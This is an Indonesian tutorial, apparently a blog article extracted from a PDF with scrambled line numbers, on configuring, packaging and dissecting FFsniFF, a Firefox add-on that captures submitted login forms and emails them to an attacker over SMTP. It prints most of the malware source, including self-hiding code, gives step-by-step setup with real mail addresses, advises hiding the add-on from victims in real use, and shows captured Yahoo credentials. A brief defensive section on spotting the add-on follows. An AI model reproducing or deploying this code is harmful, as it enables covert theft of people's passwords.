Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak
sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua
addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password
pengguna ketika login ke email attacker, addon itu adalah FFsniFF.
Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan
mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara
kerja FFsniFF dengan membedah source codenya.
exampleExt.xpi:
/install.rdf
/components/*
/components/cmdline.js
/defaults/
/defaults/preferences/*.js
/plugins/*
/chrome.manifest
/chrome/icons/default/*
/chrome/
/chrome/content/
install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file
javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk
menangani user interface addon.
Membuat paket instalasi ffsniff.xpi
Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file
sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus
dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
1 pkg_creator.py
2 src/
3 src/install.rdf
4 src/chrome/
5 src/chrome/content/
6
7
8
9
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf
File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus
diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah
disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai
script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.
Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah
dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js
akan saya edit untuk mengubah beberapa variabel berikut:
1
2
3
4
5
6
7
var
var
var
var
var
var
var
send_from_host = "<SEND_FROM_HOST>";
send_from = "<SEND_FROM>";
send_to = "<SEND_TO>";
subject = "<SUBJECT>";
smtp_host = "<SMTP_HOST>";
smtp_port = "<SMTP_PORT>";
enable_hide = "<HIDDING>";
MX record ilmuhacking.com
Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi
alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang
bertanggung jawab untuk domain email yang kita tuju,dalam kasus ini domain email tujuan adalah
@ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk
domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS
ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com.
Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di
host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server
adalah mail.domainanda.com.
send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu
adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam
domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email
ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).
enable_hide sengaja saya isi no untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan
yes agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih cobacoba, sebaiknya isi dulu dengan no.
smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject
dari email yang akan berisi password korban.
1
2
3
4
5
6
7
var
var
var
var
var
var
var
send_from_host = "ilmuhacking.com";
send_from = "testing@ilmuhacking.com";
send_to = "testing@ilmuhacking.com";
subject = "Log Firefox Sniffer";
smtp_host = "ilmuhacking.com";
smtp_port = "25";
enable_hide = "no";
var
var
var
var
var
var
var
send_from_host = "telkom.net";
send_from = "rizki.wicaksono@telkom.net";
send_to = "rizki.wicaksono@telkom.net";
subject = "Log Firefox Sniffer";
smtp_host = "mx1.mail.plasa.com";
smtp_port = "25";
enable_hide = "no";
Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua
field dengan tag input (input type=xxx) dari form, yaitu: password field, hidden field, text field,
checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya
mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.
Email Sniffer Log
Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah
sebagai berikut:
1 Return-path: <testing@ilmuhacking.com>
2 Envelope-to: testing@ilmuhacking.com
3 Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
4 Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
5
by gator669.hostgator.com with esmtp (Exim 4.69)
6
(envelope-from <testing@ilmuhacking.com>)
7
id 1Lcywa-0002DK-Jj
8
for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
9 Subject: Log Firefox Sniffer
Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya
sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang
paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah
header email FFsniFF yang dikirim ke telkom.net:
Return-Path: <rizki.wicaksono@telkom.net>
Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009
11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
by mx1.mail.telkom.net with esmtp id 1LeiKy-0001qP-O1
Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs
Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini
adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia
tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari
FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-r
1 text>\extensions\
Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga
bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff.
How FFsniff Works
Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password
ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara
kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang
melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
data = "";
data0 = "EHLO " + send_from_host + "\r\n"
data1 = "MAIL FROM: <" + send_from + ">\r\n"
data2 = "RCPT TO: <" + send_to + ">\r\n"
data3 = "DATA\r\n"
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
outstream.write(data1, data1.length);
while (instream.available() == 0) {}
instream.read(instream.available());
outstream.write(data2, data2.length);
while (instream.available() == 0) {}
instream.read(instream.available());
outstream.write(data3, data3.length);
while (instream.available() == 0) {}
instream.read(instream.available());
outstream.write(data, data.length);
// don't read here cos no data was send to us
//while (instream.available() == 0) {}
//instream.read(instream.available());
outstream.write(data4, data4.length);
while (instream.available() == 0) {}
instream.read(instream.available());
outstream.write(data5, data5.length);
while (instream.available() == 0) {}
outstream.close();
instream.close();
}
if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
var workingThread = function() {
};
workingThread.prototype = {
run: function() {
send_data();
}
};
} else {
var runnable = {
run: function() {
send_data();
}
}
}
function sniff() {
72
73
// if we are running under 3.0 or later
74
if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
75
var thread = Components.classes["@mozilla.org/thread-manager;1"].getServic
76
thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
77
} else {
78
var thread = Components.classes["@mozilla.org/thread;1"].getService(Compon
79
thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_
80
Components.interfaces.nsIThread.STATE_UNJOINABLE);
81
}
82 }
83
84 function do_sniff() {
85
var ok = 0;
86
var hesla = window.content.document.getElementsByTagName("input");
87
data = "";
88
for (var i = 0; i < hesla.length; i++) {
89
if (hesla[i].value != "") {
90
if (hesla[i].type == "password") {
91
ok = 1;
92
}
93
if (hesla[i].name == "") {
94
data += hesla[i].type + ":" + "<blank>:" + hesla[i].value
95
}
96
else {
97
data += hesla[i].type + ":" + hesla[i].name +":" + hesla
}
98
}
99
}
100
if (ok == 1) {
101
data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.l
102
sniff()
103
}
104
}
105
function hide_me() {
106
var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(C
107
var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(
108
var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getServi
109
var root = RDFService.GetResource("urn:mozilla:item:root");
110
var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
111
Container.Init(extensionDS, root);
112
var elements = Container.GetElements();
113
while (elements.hasMoreElements()) {
114
var element = elements.getNext();
115
var name = "";
116
var target = extensionDS.GetTarget(element, nameArc, true);
117
if (target) {
118
name = target.QueryInterface(Components.interfaces.nsIRDFLiteral)
119
if (name == "FFsniFF") {
120
Container.RemoveElement(element, true);
121
}
122
}
123
}
124 }
125 if (enable_hide == "yes") {
126
hide_me();
127 }
128 window.addEventListener("submit", do_sniff, false);
Perhatikan baris ke-127 pada source di atas, bila enable_hide diset yes, maka ffsniff akan
menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar
kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan
fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama FFsniFF.
Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi
addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff.
Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi
bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input
type=submit). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript.
Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya
fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.
Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer
mengambil daftar semua tag <input> yang ada dengan fungsi
window.content.document.getElementsByTagName(input). Kemudian semua field tersebut akan
digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input
type=password), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login),
ffsniffer tidak akan mengirim email.
Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff
ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan
pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan
membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email.
Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim
ke telkom.net:
1
2
3
4
5
6
7
8
9
10
220-mx1.mail.plasa.com ESMTP
220 UBE, porn, and abusive content not allowed
EHLO telkom.net
250-mx1.mail.plasa.com
250-8BITMIME
250 SIZE 20971520
MAIL FROM: <rizki.wicaksono@telkom.net>
250 sender <rizki.wicaksono@telkom.net> ok
RCPT TO: <rizki.wicaksono@telkom.net>
250 recipient <rizki.wicaksono@telkom.net> ok
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
DATA
354 go ahead
Subject: Log Firefox Sniffer
https://login.yahoo.com/config/login?
type:name:value
--------------hidden:.tries:2
hidden:.intl:us
hidden:.u:6220o3t4qrv31
hidden:.v:0
hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
hidden:hasMsgr:0
hidden:.chkP:Y
hidden:.done:http://my.yahoo.com
hidden:.pd:_ver=0&c=&ivt=&sg=
text:login:rizkiwicaksono
password:passwd:inipasswordku
checkbox:.persistent:y
submit:.save:Sign In
.
250 ok: Message 119895912 accepted
221 mx1.mail.plasa.com
QUIT
hidden:.done:http://my.yahoo.com
hidden:.pd:_ver=0&c=&ivt=&sg=
text:login:rizkiwicaksono
password:passwd:inipasswordakujuga
checkbox:.persistent:y
submit:.save:Sign In
.
250 OK id=1LeiW6-0002zu-LA
QUIT
221 gator669.hostgator.com closing connection
Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim
email. Selanjutnya ffsniff akan tidur menunggu dipanggil oleh event submit dan mulai kembali
proses penyadapan password.